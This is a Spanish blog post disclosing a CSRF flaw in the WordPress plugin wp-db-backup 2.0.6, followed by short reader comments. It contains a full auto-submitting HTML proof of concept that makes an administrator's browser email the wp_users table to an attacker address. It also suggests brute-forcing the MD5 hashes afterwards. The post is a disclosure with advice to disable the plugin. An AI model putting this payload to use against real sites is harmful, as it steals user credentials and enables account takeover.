wp-db-backup: ¡tus datos son míos!

Ya es casi un año desde que tomamos la decisión de no utilizar wp-db-backup en este blog, esta decisión principalmente se debió a que alguien logró acceder a los paneles de administración de varios blogs que usaban este plugin, la persona que hizo esto utilizó los datos de los backups previamente generados.

Esta vez la historia se vuelve a repetir, puesto que este es otro plugin que lamentablemente es vulnerable a ataques CSRF, gracias a esto es posible que cualquiera pueda obtener los backups sin mayor esfuerzo.

La versión 2.0.6 incluye tres formas de poder obtener los backups:

  1. Guardar en un directorio aleatorio en el servidor web.
  2. Descargar el backup a la máquina del usuario.
  3. Enviar el backup por correo a una cuenta de email especificada en otro campo.

No recuerdo si la tercera opción estaba disponible antes o si es que ha sido agregado en versiones recientes, pero ésta es la más peligrosa porque si alguien incluye el siguiente documento html dentro de un (i)frame y de algún modo hace que la víctima (con permisos suficientes para realizar backups) entre a una página que contiene ese elemento, entonces, asumiendo que el prefijo de las tablas es el que viene por omisión, el atacante recibirá los datos de la tabla wp_users.

html:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
    <title>wp-db-backup PoC</title>     
</head>
<body>
    <form method="post" action="http://victima.com/wp-admin/edit.php?page=wp-db-backup.php">
            <input type="hidden" name="deliver" value="smtp" />
                <input type="hidden" name="backup_recipient" value="usuario@atacante.com" />
                <input type="hidden" name="core_tables[]" value="wp_users" />
                <input type="hidden" name="do_backup" value="backup" />
        </form>
        <script type="text/javascript">
            //<![CDATA[
            document.forms[0].submit();
            //]]>

        </script>
</body>
</html>

Una vez que se tengan los datos de los usuarios del blog victima.com, el atacante puede hacer uso de fuerza bruta para recuperar las contraseñas almacenadas con md5.

Por lo pronto, les recomiendo que desactiven este plugin mientras su autor corrige este problema y libera una nueva versión.

8 Replies to “wp-db-backup: ¡tus datos son míos!”

  1. Cada día me mola más este blog. Muy al dia y con temas muy variados, muy buenos tus post Alex`s 🙂

  2. Casi, pero no. Los plugins para los backups mejor tenerlos desactivados por defecto, y sólo activarlos para cuando hagamos uso de ellos, digo.

    Hace tiempo que me decanté por este otro: WP-DBManager, pero el de la versión para la rama WP 2.0. Hummm, veo que sólo está disponible ahora la versión para WP 2.10 http://www.lesterchan.net/portfolio/programming.php

    Nota: estos días tengo que meter mano a otra bitácora con WP 2.10, así que tal vez te pregunte por algún plugin utilizado por su administrador.

  3. #1, gracias por el comentario 😉

    maty: tienes razón en que estos plugins deberían ser activados sólo cuando sea necesario, pero muchos generalmente olvidamos esa regla 😀

    Sobre el plugin wp-dbmanager, creo es más vulnerable que el que comento en esta entrada 😉

  4. Pingback: SigT
  5. Pingback: BloggingTom

Comments are closed.